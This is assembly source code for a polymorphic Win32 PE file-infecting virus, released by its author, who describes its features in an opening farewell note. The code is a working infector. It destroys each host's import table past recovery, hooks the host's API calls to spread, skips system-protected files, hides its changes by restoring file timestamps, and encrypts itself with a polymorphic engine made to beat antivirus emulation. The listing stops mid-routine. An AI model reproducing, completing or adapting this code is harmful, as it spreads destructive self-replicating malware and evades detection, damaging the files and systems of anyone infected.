This is my biggest PE virus, it's about 3500 lines, the virus binarysize is more than 6K.Maybe this is my last virus. I've decided to exit from the VXer scene. It's a pity that there are too many bugs in it. There are two major bugsin the original version, one is the second threads can dead lock undersome certain condition, the other is I didn't use any SEH in it, so it willcrash when scanning some DOS executables. I've patched the second bugs inthis source code. This virus' main feature:1, Simple polymorphism engine. This engine is my first poly engine. It'svery simple, but seems this engine can make some AV software hang the OS.Some AV s/w's virtual machine can't run it correctly.2, Unrecoverable infection. After infection, the host PE file structure hasbeen destroyed and almost impossible to recovery.3, Full EPO. It doesn't modify the entry point. It uses a new infectionmethod. It removes the host file's import table and stored the import DLLsand APIs name in its own buffer. Then it builds a new import table which onlyimports LoadLibraryA and GetProcAddress, this two APIs are enough for it toimport all its and the host file's needed APIs. This is how it destroy thehost file. To implement EPO, it hook many APIs which imported by the hostfile.4, Both directly and indirectly infect. As I've said, it hooks many APIs(about 15 APIs with both ANSI and Unicode version), so it only infects whenthe hooked APIs are called. But when the infection is triggered, it willactive the second thread to do a short coninuous infection by searching thedirectory. To learn more about this virus, you can visit Symantec website and readthe write up about virus W32.Cervan. Bye, the virus world, bye, the Chinese VXer scene.You can contact me by mail vancheer@hotmail.com` .586.model flat include kernel32.incinclude user32.incinclude win32.incincludelib kernel32.libincludelib user32.lib DEBUG = 0 if DEBUG addrGetLastError = 77e8668ch addrOutputDebugStringA = 77ea0c93h DEBUGBREAK equ int 3else display 'Warning!!! This is release version!!!'endif MIN_SIZE_TO_INFECT equ (16*1024) SECTION_QUERY equ 0001hSECTION_MAP_WRITE equ 0002hSECTION_MAP_READ equ 0004hSECTION_MAP_EXECUTE equ 0008hSECTION_EXTEND_SIZE equ 0010h FILE_MAP_COPY equ SECTION_QUERYFILE_MAP_WRITE equ SECTION_MAP_WRITEFILE_MAP_READ equ SECTION_MAP_READ;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS PAGE_NOACCESS equ 01hPAGE_READONLY equ 02hPAGE_READWRITE equ 04hPAGE_WRITECOPY equ 08hPAGE_EXECUTE equ 10hPAGE_EXECUTE_READ equ 20hPAGE_EXECUTE_READWRITE equ 40hPAGE_EXECUTE_WRITECOPY equ 80hPAGE_GUARD equ 100hPAGE_NOCACHE equ 200hPAGE_WRITECOMBINE equ 400h MEM_COMMIT equ 1000hMEM_RELEASE equ 8000h PTADD = 0PTSUB = 1PTROR = 2PTROL = 3PTXOR = 4PTBSWAP = 5 PTNONE = 38hPTNUM = 6 PolyUnit struc PUType db ? PUKey dd ? db 3 dup(?) ;for alignPolyUnit ends PolyVar struc PVReg db 8 dup(?)PolyVar ends FileMapper struct FMBuffer dd ? FMFileName dd ? FMFileHandle dd ? FMMapHandle dd ? FMFileSize dd ? FMFileAttr dd ? FMFileTime dd 2*3 dup(?) FMPEBase dd ? FMCurPtr dd ? FMImportAPINum dd ? FMImportPA dd ? FMImportThunkPA dd ? FMImportStringPA dd ?FMDataStartPA equ FMImportStringPA FMVirImportPA dd ? FMVirStartPA dd ? FMVirEntryPA dd ? FMPolyPA dd ? FMDataSize dd ? ;the size of can encrypt data FMLoadLibraryAPA dd ? FMGetProcAddressPA dd ? FMPolyUnit PolyUnit 32 dup(<>) FMPolyVar PolyVar <>FileMapper ends IMPORT_IS_ORD = 1IMPORT_IS_NAME = 2 VIR_IMPORT_SIZE = 95 DEFUNICODE macro sym,str&sym: irpc c,str dw '&c' endm dw 0endm .data cap db 'Caption',0 msg db 'Message',0 fn db 'tfuck.exe',0 TmpBuffer db 3 dup(0) TmpPolyVar db 8 dup(0) TmpPolyUnit PolyUnit 500 dup(<>) wildfn db 'd:/asm/mv/*.*',0 DEFUNICODE fnW, DEFUNICODE wildfnW, strKernel32 db 'kernel32.dll',0 strLoadLibraryA db 'LoadLibraryA',0 strGetProcAddress db 'GetProcAddress',0 .code VirStart: cld call ImportBuildIPImportBuildIP: pop edx cld call GetVirAPIAddress lea esi,[edx+VirStart-ImportBuildIP] mov edi,VirVirtualSize call VirAlloc mov ecx,VirSize xchg eax,edi lea edx,[edi+ImportBuildIP-VirStart] rep movsb mov eax,edx add eax,VirContinue-ImportBuildIP jmp eax VirContinue:;Initialize some variant xor ecx,ecx mov [edx+CanSearchTick-ImportBuildIP],ecx pushad mov esi,edx push ecx push ecx push ecx push ecx call [esi+addrCreateEventA-ImportBuildIP] mov [esi+VirEventHandle-ImportBuildIP],eax xor ecx,ecx push eax push esp push ecx push ecx lea eax,[esi+SearchThread-ImportBuildIP] push eax push ecx push ecx call [esi+addrCreateThread-ImportBuildIP] pop eax popad mov esi,12345678h ;Redirected import table offsetRVAImportString equ $-4 ;Decrypt import string push esi mov edi,esi mov ecx,12345678hDecryptImportCount equ $-4 DecryptImportLoop: lodsb xor al,0DecryptImportXorKey equ $-1 ror al,0DecryptImportRorKey equ $-1 stosb loop DecryptImportLoopDecryptImportEnd: pop esi mov eax,[esp+9*4] ;API ordinal push eax push large ecx ;API count=0 mov ebp,esp mov edi,87654321 ;Import table addressRVAImportPA equ $-4 lea ebx,[edx+ImportBuildCallback-ImportBuildIP] sub edi,4ImportBuildLoop: add edi,4 push edi mov edi,[edi] call VirGetAddress pop edi cmp byte ptr [esi],0 jnz short ImportBuildLoop pop eax pop eax mov [esp+9*4],eax popfd popad retnImportBuild_end: ImportBuildCallback: push ecx push edi pushfd or eax,eax jz short ImportBuildCallbackNotHook call ImportBuildCallbackIPImportBuildCallbackIP: pop edx std lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP] push large HookNum pop ecx repnz scasd jnz short ImportBuildCallbackNotHook lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP] movzx eax,word ptr [edi] lea edi,[edx+VirStart-ImportBuildCallbackIP] add eax,edi ImportBuildCallbackNotHook: mov edx,[ebp] cmp edx,[ebp+4] jnz short ImportBuildCallback1 mov [ebp+4],eaxImportBuildCallback1: inc dword ptr [ebp] popfd pop edi pop ecx retnImportBuildCallback_end: ;Get the API address used by vir;Param: edx=>ImportBuildIPGetVirAPIAddress: pushad xor ebx,ebx lea esi,[edx+Kernel32APIName-ImportBuildIP] lea edi,[edx+Kernel32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+Shell32APIName-ImportBuildIP] lea edi,[edx+Shell32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+SfcAPIName-ImportBuildIP] lea edi,[edx+SfcAPIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+ComDlg32APIName-ImportBuildIP] lea edi,[edx+ComDlg32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+User32APIName-ImportBuildIP] lea edi,[edx+User32APIAddr-ImportBuildIP] call VirGetAddress popad retnGetVirAPIAddress_end: ;Redirected import table;db kernel32.dll;db 1,db CreateFileA;db 2 dw hint;db WriteFile;db 0;db user32.dll;........;db 0;db 0 ;Load DLL and get all api address;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback;Return: esi->after null byte;Callback param: eax=API address,ebp=user defined param,edi->address API to store to;Callback return: eax=API address to storeVirGetAddress: push edx mov edx,12345678h ;RVA of LoadLibraryARVALoadLibraryA equ $-4 mov eax,esi call VirGetStrTail xchg eax,esi push dword ptr [eax] push eax mov byte ptr [eax],0 push esi call [edx] mov ecx,eax pop eax pop dword ptr [eax] xchg esi,eaxVirGetAddressLoop: lodsb or al,al jz short VirGetAddressRet push ebp push ecx cmp al,IMPORT_IS_NAME jz short VirGetAddressIsName xor eax,eax lodsw mov ebp,[esi] push esi push eax jmp short VirGetAddress1VirGetAddressIsName: push esi call VirGetStrTail mov ebp,[esi] mov byte ptr [esi],0 xchg esi,[esp] push esiVirGetAddress1: push ecx mov edx,55667788h; RVA of GetProcAddressRVAGetProcAddress equ $-4 call [edx] pop esi mov [esi],ebp pop ecx pop ebp or ebx,ebx jz short VirGetAddressNoCallback call ebxVirGetAddressNoCallback: stosd jmp short VirGetAddressLoop VirGetAddressRet: pop edx retn VirGetAddress_end: ;Find the first byte which is less than 6;Param: esi->string;Return: esi->strange byteVirGetStrTail: dec esiVirGetStrTailLoop: inc esi cmp byte ptr [esi],5 ja short VirGetStrTailLoop retnVirGetStrTail_end: ;Infect a file;Param: edi->FileNameInfectFile: pushad call InfectFileIPInfectFileIP: pop ebp cld or edi,edi jz InfectFileRet mov esi,edi call VirGetStrTail if DEBUGmov eax,[esi-8]call EAXToLowcasecmp eax,'kcuf' ;if debuging,only infect *fuck.exejnz InfectFileRetendif mov eax,[esi-4] call EAXToLowcase cmp eax,'exe.' jz short InfectFileStart cmp eax,'rcs.' jnz InfectFileRet InfectFileStart: call IsInDllCache jnz InfectFileRet ;Check for SFC mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP] jecxz CheckSFCEnd ;is not Win2K,don't check SFC mov esi,1000 sub esp,esi mov eax,esp push ecx push large 500 push eax push large -1 push edi push large 1 ;MB_PRECOMPOSED push large 0 ;CP_ACP call [ebp+addrMultiByteToWideChar-InfectFileIP] pop ecx push esp push large 0 call ecx add esp,esi or eax,eax jnz InfectFileRetCheckSFCEnd: sub esp,size FileMapper mov esi,esp call MapFile jz InfectFileFailMap push esi push ebp lea ecx,[ebp+InfectFileSEH-InfectFileIP] push ecx xor ecx,ecx push dword ptr fs:[ecx] mov fs:[ecx],esp mov [ebp+InfectFileESP-InfectFileIP],esp cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K jc InfectFileUnmap mov ebx,eax call CheckPE jz InfectFileUnmap mov [esi].FMPEBase,eax ;Check whether it's a WinZip Self-Extractor file movzx edx,word ptr [eax+14h] mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData add edx,ebx cmp dword ptr [edx+10h],'ZniW' jnz NotWinzip cmp word ptr [edx+10h+4],'pi' jz InfectFileUnmapNotWinzip: ;Check whether the file is a SFX(RAR file) xor edi,edi call get_section_of_rva mov ecx,[edx+0ch] add ecx,[edx+8] mov edx,ecx shr ecx,3 add ecx,edx cmp ecx,[esi].FMFileSize jna InfectFileUnmap add edx,ebx ;now ecx->perhaps rar file header cmp dword ptr [edx],21726152h ;test for rar signature jz InfectFileUnmap mov edi,[eax+80h] ;Import Table RVA call get_section_of_rva jz InfectFileUnmap ;No import table or byte ptr [edx+1ch+3],80h ;modify raw import section as writable call RVAToPA add edi,ebx ;Check infected.If there is only one DLL loaded,it's infected. cmp dword ptr [edi+3*4],0 jz InfectFileUnmap ;has no import table cmp dword ptr [edi+3*4+5*4],0 ;next dll name jz InfectFileUnmap ;hasn't second dll,maybe infected add ebx,[esi].FMFileSize mov [esi].FMCurPtr,ebx push edi push eax lea edi,[eax+0d0h] lea ecx,[eax+0a0h] xor eax,eax stosd ;Clear import bind entry stosd stosd ;Clear Import Address Table entry stosd xchg ecx,edi stosd ;Clear relocation stosd pop eax pop edi call RedirectImpoartTable mov ebx,[esi].FMCurPtr call BuildVirImportTable mov ebx,[esi].FMCurPtr mov edi,ebx call PolyGenGarbageBuffer ;insert some garbage code push eax mov [esi].FMVirEntryPA,edi mov ax,9c60h ;pushad/pushfd stosw add edi,10 ; space for two mov reg32,imm32,must be 10 bytes pop eax mov [esi].FMPolyPA,edi push ebp push esi push eax call VirGetRand xchg eax,edx and dl,1 add dl,6 ;use esi or edi as pointer reg and dh,3 ;use common reg as counter lea ebp,[esi].FMPolyVar lea esi,[esi].FMPolyUnit call VirPoly pop eax pop esi pop ebp mov [esi].FMVirStartPA,edi push esi lea esi,[ebp+VirStart-InfectFileIP] mov ecx,VirSize rep movsb pop esi call PolyGenGarbageBuffer ;insert some garbage code mov [esi].FMCurPtr,edi ;Initialize some variant pushad mov ecx,[esi].FMVirStartPA mov edi,[esi].FMLoadLibraryAPA call RealPAToRVA mov [ecx+RVALoadLibraryA-VirStart],edi mov edi,[esi].FMGetProcAddressPA call RealPAToRVA mov [ecx+RVAGetProcAddress-VirStart],edi mov edi,[esi].FMImportPA call RealPAToRVA mov [ecx+RVAImportPA-VirStart],edi mov edi,[esi].FMImportStringPA push edi call RealPAToRVA mov [ecx+RVAImportString-VirStart],edi pop edi ;Encrypt import string pushad mov edx,[esi].FMDataSize mov [ecx+DecryptImportCount-VirStart],edx call VirGetRand mov [ecx+DecryptImportRorKey-VirStart],al mov [ecx+DecryptImportXorKey-VirStart],ah mov cl,al mov esi,ediEncryptImportLoop: lodsb rol al,cl xor al,ah stosb dec edx jnz short EncryptImportLoop popad mov edi,ecx call RealPAToRVA mov ecx,[esi].FMVirEntryPA mov al,0b8h or al,dl mov [ecx+2],al mov [ecx+3],edi ;Encrypt virus body mov ebx,ecx mov edi,[esi].FMVirStartPA lea esi,[esi].FMPolyUnit mov ecx,VirSize call VirEncrypt mov al,0b8h or al,dh mov [ebx+7],al mov [ebx+8],ecx popad call FillThunkCode ;Save vir import entry mov edi,[esi].FMVirImportPA sub edi,[esi].FMBuffer call PAToRVA mov [eax+80h],edi push large VIR_IMPORT_SIZE pop dword ptr [eax+84h] ;Enlarge the file xor edi,edi call get_section_of_rva mov ecx,[esi].FMCurPtr sub ecx,[esi].FMBuffer sub ecx,[edx+0ch] call RouncECX cmp ecx,[edx] jc short InfectFileRound1 mov [edx],ecxInfectFileRound1: cmp ecx,[edx+8] jc short InfectFileRound2 mov [edx+8],ecxInfectFileRound2: mov ecx,[edx+0ch] add ecx,[edx+8] mov [esi].FMFileSize,ecx push ecx mov ecx,[edx] add ecx,[edx+4] call RouncECX mov [eax+50h],ecx ;SizeOfImage or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h ;Calc eheck sum pop ecx lea ebx,[eax+58h] ;CheckSum xor edx,edx cmp dword ptr [ebx],edx jz short NoChecksum mov dword ptr [ebx],edx mov esi,[esi].FMBuffer push ecx shr ecx,1 clcChecksumLoop: lodsw adc dx,ax loop ChecksumLoop pop ecx add edx,ecx mov [ebx],edx NoChecksum: InfectFileUnmap: mov esp,12345678hInfectFileESP equ $-4 xor ecx,ecx pop dword ptr fs:[ecx] ; restore except chain pop ecx pop ecx pop esi call UnmapFile InfectFileFailMap: add esp,size FileMapper InfectFileRet: popad retnInfectFile_end: InfectFileSEH: call InfectFileSEHIPInfectFileSEHIP: pop eax lea eax,[eax+InfectFileUnmap-InfectFileSEHIP] push eax mov eax,[esp + 0ch+4] pop dword ptr [eax + 0B8h] xor eax,eax retnInfectFileSEH_end: RealPAToRVA: sub edi,[esi].FMBuffer call PAToRVA add edi,[eax+34h] ;ImageBase retnRealPAToRVA_end: ;Round ecx to 1000hRouncECX: test cx,0fffh jz short RouncECX1 and cx,0f000h add ecx,1000hRouncECX1: retnRouncECX_end: ;Fill the raw import table to our entry;Param: eax->PE base,esi->FilaMapperFillThunkCode: pushad mov ecx,[esi].FMImportAPINum mov edi,[esi].FMVirEntryPA sub edi,[esi].FMBuffer call PAToRVA mov edx,edi mov edi,[esi].FMImportThunkPA mov ebx,edi sub edi,[esi].FMBuffer call PAToRVA sub edx,edi FillThunkCodeLoop: sub edx,1+4+1+4 mov byte ptr [ebx+1+4],0e9h mov [ebx+1+4+1],edx add ebx,1+4+1+4 loop FillThunkCodeLoop popad retnFillThunkCode_end: ;Param: esi->FileMapper,eax->PE base,DF=0BuildVirImportTable: pushad call BuildVirImportTableIPBuildVirImportTableIP: pop ebp xor edi,edi call get_section_of_rva mov ecx,edx mov edi,[eax+28h] call get_section_of_rva push eax cmp edx,ecx jnc BuildVirImportTableNoCavPop ;is the last section lea eax,[edx+8] mov ebx,[eax] cmp ebx,[edx] jc short BuildVirImportTableFindCav2 mov ebx,[edx] mov eax,edxBuildVirImportTableFindCav2: or ebx,ebx jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it mov edi,[edx+28h+0ch] ;next section's PointerToRawData add ebx,[edx+0ch] sub edi,ebx cmp edi,VIR_IMPORT_SIZE+10 jle short BuildVirImportTableNoCavPop mov edi,ebx add edi,[esi].FMBuffer add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics jmp short BuildVirImportTableBeginBuild BuildVirImportTableNoCavPop: mov edi,[esi].FMCurPtr BuildVirImportTableBeginBuild: pop eax mov [esi].FMVirImportPA,edi push eax xor eax,eax push large 5*2+3 pop ecx rep stosd pop eax push edi push esi push large VirImportTableStringSize pop ecx lea esi,[ebp+VirImportTable-BuildVirImportTableIP] rep movsb pop esi cmp edi,[esi].FMCurPtr jb short BuildVirImportTableInner mov [esi].FMCurPtr,ediBuildVirImportTableInner: pop edi lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA sub edi,[esi].FMBuffer call PAToRVA mov [edx],edi sub edi,3*4 mov [edx+4],edi add edx,5*4+2*4 add edi,3*4+12 mov [edx],edi mov [esi].FMLoadLibraryAPA,edx add edi,14 add edx,4 mov [edx],edi mov [esi].FMGetProcAddressPA,edx popad retnBuildVirImportTable_end: comment $Redirect Import Table formatdb 'kernel32.dll'db IMPORT_IS_NAME,'CreateFileA'db IMPORT_IS_ORD,1,2db IMP...db 0next dlldb 0 Import Thunk Code formatpush large ordinaljmp vircode$;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0RedirectImpoartTable: pushad mov ebx,[esi].FMCurPtr mov [esi].FMImportStringPA,ebx push edi push eax mov edx,edi sub edx,5*4 RedirectImpoartTableLoop: add edx,5*4 mov edi,[edx+4*3] ;edi->DLL name RVA or edi,edi jz short RedirectImpoartTableThunk mov eax,[esi].FMPEBase call RVAToPA mov ecx,[esi].FMBuffer add edi,ecx push eax;Copy DLL nameRedirectImpoartTable1: mov al,[edi] mov [ebx],al mov byte ptr [edi],0 ;trash the DLL name inc edi inc ebx or al,al jnz short RedirectImpoartTable1 dec ebx ;no tail null byte ;Some APPs' FirstThunk not point to vaild address;so we must use Characteristics at first mov edi,[edx] ;edi->DLL Characteristics or edi,edi jnz short RedirectImpoartTableUseDLLChar mov edi,[edx+4*4] ;edi->FirstThunk RVARedirectImpoartTableUseDLLChar: pop eax call RVAToPA add edi,ecx sub edi,4 RedirectImpoartTableAPILoop: add edi,4 mov ecx,[edi] mov byte ptr [ebx],0 inc ebx jecxz RedirectImpoartTableLoop dec ebx test ecx,80000000h jnz short RedirectImpoartTableIsOrd xchg ecx,edi call RVAToPA xchg ecx,edi add ecx,[esi].FMBuffer inc ecx inc ecx ;Skip ordinal mov byte ptr [ebx],IMPORT_IS_NAME inc ebx;Copy API nameRedirectImpoartTable2: push eax mov al,[ecx] mov [ebx],al mov byte ptr [ecx],0 ;trash API name inc ebx inc ecx or al,al pop eax jnz short RedirectImpoartTable2 dec ebx ;no tail null byte jmp short RedirectImpoartTableAPILoopRedirectImpoartTableIsOrd: mov byte ptr [ebx],IMPORT_IS_ORD inc ebx mov word ptr [ebx],cx inc ebx inc ebx jmp short RedirectImpoartTableAPILoop ;Generate thunk codeRedirectImpoartTableThunk: mov eax,ebx sub eax,[esi].FMImportStringPA mov [esi].FMDataSize,eax mov byte ptr [ebx],0 ;import table tail null byte inc ebx mov dword ptr [esi].FMImportAPINum,0 pop eax ;PE base pop edx ;Import table mov [esi].FMImportThunkPA,ebx push edx push eax sub edx,4*5RedirectImpoartTableThunkLoop: add edx,4*5 cmp dword ptr [edx+3*4],0 jz short RedirectImpoartTableTrash mov edi,[edx+4*4] call RVAToPA add edi,[esi].FMBuffer sub edi,4RedirectImpoartTableThunkAPILoop: add edi,4 mov ecx,edi cmp dword ptr [ecx],0 jz short RedirectImpoartTableThunkLoop push edi mov edi,ebx sub edi,[esi].FMBuffer call PAToRVA add edi,[eax+34h] ;ImageBase mov [ecx],edi ;Redirect import address to our thunk code pop edi mov byte ptr [ebx],68h ;push imm32 inc ebx push dword ptr [esi].FMImportAPINum pop dword ptr [ebx] inc dword ptr [esi].FMImportAPINum add ebx,4+1+4 jmp short RedirectImpoartTableThunkAPILoop ;Trash import table structure,build the DLL APIs tableRedirectImpoartTableTrash: pop edx pop edi mov [esi].FMImportPA,ebx xor eax,eax RedirectImpoartTableTrashLoop: mov [ebx],eax cmp dword ptr [edi+3*4],0 jz short RedirectImpoartTableRet mov ecx,[edi+4*4] add ecx,[edx+34h] ;ImageBase mov [ebx],ecx push large 5 pop ecx rep stosd ;trash import table structure add ebx,4 jmp short RedirectImpoartTableTrashLoop RedirectImpoartTableRet: mov [esi].FMCurPtr,ebx popad retnRedirectImpoartTable_end: ;Param: edi=size in byte to alloc;Return: eax->BufferVirAlloc: pushad call VirAllocIPVirAllocIP: pop ebp push large PAGE_EXECUTE_READWRITE push large MEM_COMMIT push edi push large 0 call [ebp+addrVirtualAlloc-VirAllocIP] call SetMemZero mov [esp+7*4],eax popad retnVirAlloc_end: ;Param: eax->Buffer,edi=size in byte to alloc,DF=0SetMemZero: pushad mov ecx,edi mov edi,eax xor eax,eax rep stosb popad retnSetMemZero_end: ;Parem: ebx->image base;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE baseCheckPE: push ecx xor ecx,ecx cmp word ptr [ebx],'ZM' jnz short CheckPERet mov eax,[ebx+3ch] cmp eax,4*1024 ja short CheckPERet add eax,ebx cmp word ptr [eax],'EP' jnz short CheckPERet test byte ptr [eax+16h+1],20h ;Is a DLL? jnz short CheckPERet mov dl,[eax+5ch] ;Subsystem and dl,0feh cmp dl,2 jnz short CheckPERet inc ecxCheckPERet: or ecx,ecx pop ecx retnCheckPE_end: ;Get the section of a RVA;in--eax=PE base,edi=RVA to find;out--edx->section header.VirtualSize,ecx=0 means not found;if not found,edx=>last section header.VirtualSizeget_section_of_rva: push esi push ecx movzx edx,word ptr [eax+14h] lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize movzx ecx,word ptr [eax+6] inc ecxget_section_of_rva_1: dec ecx jecxz get_section_of_rva_2 add edx,28h ;->VirtualSize mov esi,[edx+4]; esi=VirtualAddress cmp edi,esi ;RVAbefore first section header.VirtualSize movzx ecx,word ptr [eax+6] inc ecxPAToRVA_1: dec ecx jecxz PAToRVA_2 add edx,28h cmp edi,[edx+28h+0ch];next section PointerToRawData jnb short PAToRVA_1PAToRVA_2: sub edi,[edx+0ch] add edi,[edx+4] pop edx pop ecx retnPAToRVA_end: ;Create a file mapping;Param: esi->FileMapper edi->FileNameMapFile: push ebp push ebx call MapFileIPMapFileIP: pop ebp push large (size FileMapper) - 1 pop ecx xor eax,eaxMapFileInit: mov byte ptr [esi+ecx],al loop MapFileInit mov dword ptr [esi],eax mov [esi].FMFileName,edi push edi call [ebp+addrGetFileAttributesA-MapFileIP] mov [esi].FMFileAttr,eax and eax,not FILE_ATTRIBUTE_READONLY push eax push edi call [ebp+addrSetFileAttributesA-MapFileIP] push large 0 push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN push large OPEN_EXISTING push large 0 push large FILE_SHARE_READ push large GENERIC_WRITE or GENERIC_READ push edi call [ebp+addrCreateFileA-MapFileIP] inc eax jz short MapFileRet mov [esi].FMFileHandle,eax dec eax lea ebx,[esi].FMFileTime push ebx ;ebx->file last write time add ebx,8 push ebx add ebx,8 push ebx push eax call [ebp+addrGetFileTime-MapFileIP] push ecx push esp ;->file size high push [esi].FMFileHandle call [ebp+addrGetFileSize-MapFileIP] pop ecx inc eax jz MapFileRet dec eax or ecx,ecx jnz MapFileRet mov [esi].FMFileSize,eax xchg eax,ebx add ebx,256*1024 ; 256K buffer xor edx,edx push edx push ebx push edx push large PAGE_READWRITE push edx push [esi].FMFileHandle call [ebp+addrCreateFileMappingA-MapFileIP] or eax,eax jz MapFileRet mov [esi].FMMapHandle,eax push ebx push large 0 push large 0 push large FILE_MAP_WRITE push eax call [ebp+addrMapViewOfFile-MapFileIP] mov [esi].FMBuffer,eax MapFileRet: pop ebx pop ebp mov eax,[esi].FMBuffer or eax,eax retMapFile_end: ;Unmap a file mapping;Param: esi->FileMapperUnmapFile: pushad call UnmapFileIPUnmapFileIP: pop ebp push [esi].FMBuffer call [ebp+addrUnmapViewOfFile-UnmapFileIP] push [esi].FMMapHandle call [ebp+addrCloseHandle-UnmapFileIP] push large 0 push large 0 push [esi].FMFileSize push [esi].FMFileHandle call [ebp+addrSetFilePointer-UnmapFileIP] mov edi,[esi].FMFileHandle push edi call [ebp+addrSetEndOfFile-UnmapFileIP] lea ebx,[esi].FMFileTime push ebx add ebx,8 push ebx add ebx,8 push ebx push edi call [ebp+addrSetFileTime-UnmapFileIP] push edi call [ebp+addrCloseHandle-UnmapFileIP] push [esi].FMFileAttr push [esi].FMFileName call [ebp+addrSetFileAttributesA-UnmapFileIP] popad retnUnmapFile_end: EAXToLowcase: push ecx push large 4 pop ecxEAXToLowcase_0: cmp al,'A' jc EAXToLowcase_1 cmp al,'Z' ja EAXToLowcase_1 add al,'a'-'A'EAXToLowcase_1: ror eax,8 loop EAXToLowcase_0 pop ecx retnEAXToLowcase_end: ;Check whether the path include 'tem32/dllcach'('system32/dllcache');Param: edi->full path file name,esi->tail of file name;Return: ZF=0 means is,ZF=1 means notIsInDllCache: pushad xor ebx,ebx xchg esi,ediIsInDllCacheLoop: push esi lodsd call EAXToLowcase cmp eax,'3met' jnz short IsInDllCacheNext lodsd call EAXToLowcase cmp eax,'ld/2' jnz short IsInDllCacheNext lodsd call EAXToLowcase cmp eax,'cacl' jnz short IsInDllCacheNext inc ebx jmp short IsInDllCacheRetIsInDllCacheNext: pop esi inc esi lea eax,[esi+10] cmp eax,edi jc short IsInDllCacheLoop push esiIsInDllCacheRet: pop esi or ebx,ebx popad retnIsInDllCache_end: db 'Win32 Loicer by Vancheer/CVC,made in China,2002' ;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size;Return: ecx=rounded sizeVirEncrypt: call VirGetEncryptSize pushad mov ebp,esi;We must reverse the decrypt order generated by the poly engineVirEncryptReverseLoop: cmp [esi].PUType,PTNONE jz short VirEncryptBegin add esi,size PolyUnit jmp short VirEncryptReverseLoop VirEncryptBegin:VirEncryptDataLoop: mov ebx,[edi+ecx] push esi VirEncryptTypeLoop: sub esi,size PolyUnit mov al,[esi].PUType mov edx,[esi].PUKey cmp al,PTXOR jnz short VirEncrypt_1 xor ebx,edx jmp short VirEncryptNextTypeVirEncrypt_1: cmp al,PTADD jnz short VirEncrypt_2 sub ebx,edx jmp short VirEncryptNextTypeVirEncrypt_2: cmp al,PTSUB jnz short VirEncrypt_3 add ebx,edx jmp short VirEncryptNextTypeVirEncrypt_3: cmp al,PTROR jnz short VirEncrypt_4 push ecx mov cl,dl rol ebx,cl pop ecx jmp short VirEncryptNextTypeVirEncrypt_4: cmp al,PTROL jnz short VirEncrypt_5 push ecx mov cl,dl ror ebx,cl pop ecx jmp short VirEncryptNextTypeVirEncrypt_5: bswap ebx VirEncryptNextType: cmp esi,ebp jnz short VirEncryptTypeLoop VirEncryptNextData: pop esi mov [edi+ecx],ebx sub ecx,4 jge VirEncryptDataLoop popad retnVirEncrypt_end: ;Param: ecx=buffer size;Return: ecx=rounded buffer sizeVirGetEncryptSize: and cl,0fch ;round to 4 sub ecx,4 retnVirGetEncryptSize_end: ;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4VirPoly: pushad call VirGetRand movzx ecx,al and cl,0fh add cl,08h ;15-23 layers poly push ecx mov al,PTNONE VirPolyLoop: call PolyInitVar ;don't generate code before PolyInitVar call PolyGenGarbage push eax call VirPolyHelp ;mov a dword to a random reg pop eax push ecx push edx ;save two reg push eax call VirGetRand mov [esi].PUKey,eax xchg edx,eax pop eax call PolyGetType mov [esi].PUType,al add esi,size PolyUnit mov [esi].PUType,PTNONE xchg edx,[esp] call PolyGenGarbage xchg edx,[esp] cmp al,PTXOR jnz short VirPoly_2;Method XOR call PolyXorReg32Imm jmp short VirPolyNext VirPoly_2: cmp al,PTADD jnz short VirPoly_3;Method add call PolyAddReg32Imm jmp short VirPolyNext VirPoly_3: cmp al,PTSUB jnz short VirPoly_4;Method sub call PolySubReg32Imm jmp short VirPolyNext VirPoly_4: cmp al,PTROR jnz short VirPoly_5;Method ROR mov dh,8 call PolyRollReg32Imm8 jmp short VirPolyNext VirPoly_5: cmp al,PTROL jnz short VirPoly_6;Method ROL xor dh,dh call PolyRollReg32Imm8 jmp short VirPolyNext VirPoly_6:;Method BSWAP call PolyBswapReg32; jmp short VirPolyNext VirPolyNext: pop edx pop ecx call PolyGenGarbage call PolyGenSafeGarbage call PolyMovMemReg32 call PolyGenGarbage dec dword ptr [esp] jnz VirPolyLoop pop ecx ; mov cl,dh; call PolyCmpReg32_0 ;sub count reg,4 mov cl,dh push large 4 pop edx call PolySubReg32Imm ;jnl xxxxxxxx mov ax,8d0fh stosw mov eax,[esp] sub eax,edi sub eax,4 stosd pop eax push edi popad retnVirPoly_end: ;Param: ebp->PolyVar; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4PolyInitVar: pushad xor ecx,ecx mov [ebp],ecx mov [ebp+4],ecx mov bl,1 mov cl,dl mov [ebp+ecx],bl movzx ecx,dh mov [ebp+ecx],bl popad retnPolyInitVar_end: VirPolyHelp: stc call PolyGetReg movzx eax,bl mov byte ptr [ebp+eax],1 mov cl,bl push ecx call PolyMovReg32Mem pop ecx retnVirPolyHelp_end: ;Generate some garbage to a bufferPolyGenGarbageBuffer: pushad sub esp,size PolyVar mov ebp,esp ;Make the reg as ebp,ebp,only an address,not useful mov edx,0505h call PolyInitVar call VirGetRand and eax,0fh add al,0fh ;15-31 garbage push eaxPolyGenGarbageBufferLoop: call PolyGenSafeGarbage dec dword ptr [esp] jnz short PolyGenGarbageBufferLoop pop eax add esp,size PolyVar pop eax push edi popad 